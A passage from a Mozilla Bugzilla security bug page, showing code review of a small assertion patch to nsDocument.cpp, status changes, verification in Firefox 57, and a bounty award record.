Wait... I didn't change the flag... it seems bugzilla somehow confused on the conflict :/
Status: RESOLVED → REOPENED
Resolution: FIXED → ---
Comment on attachment 8910142 [details] [diff] [review] patch for the assertion Review of attachment 8910142 [details] [diff] [review]: ----------------------------------------------------------------- r=me with that one change. Can you move this patch into another, non-P2 bug so we can resolve this one right now? It's just belt-and-suspenders, and I'm trying to keep track of all the unresolved P2s before the merge and so trying to minimize noise. Thanks! ::: dom/base/nsDocument.cpp @@ +7800,5 @@ > + if (aNode->IsElement()) { > + Element* elem = aNode->AsElement(); > + if (elem->GetInlineStyleDeclaration() || > + elem->GetSMILOverrideStyleDeclaration() || > + elem->HasAnyOfFlags(ELEMENT_SHARED_RESTYLE_BITS)) { Also check HasServoData?
Attachment #8910142 - Flags: review?(bobbyholley) → review+
OK.
Status: REOPENED → RESOLVED
Closed: 7 years ago7 years ago
Resolution: --- → FIXED
Keywords: leave-open
Group: layout-core-security → core-security-release
Depends on: 1402094
Blocks: 1391141
Confirmed issue on Nightly Fx57.0a1, 2017-09-16. Verified fixed on Fx57.0b14.
Flags: qe-verify+
Whiteboard: [post-critsmash-triage]
Flags: sec-bounty?
Flags: sec-bounty? → sec-bounty+
Group: core-security-release
Attachment #8944485 - Attachment description: nils@vulndev.org,4000?,2017-09-16,2017-09-20,2018-01-22,true,,, → nils@vulndev.org,4000,2017-09-16,2017-09-20,2018-01-22,true,,,
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: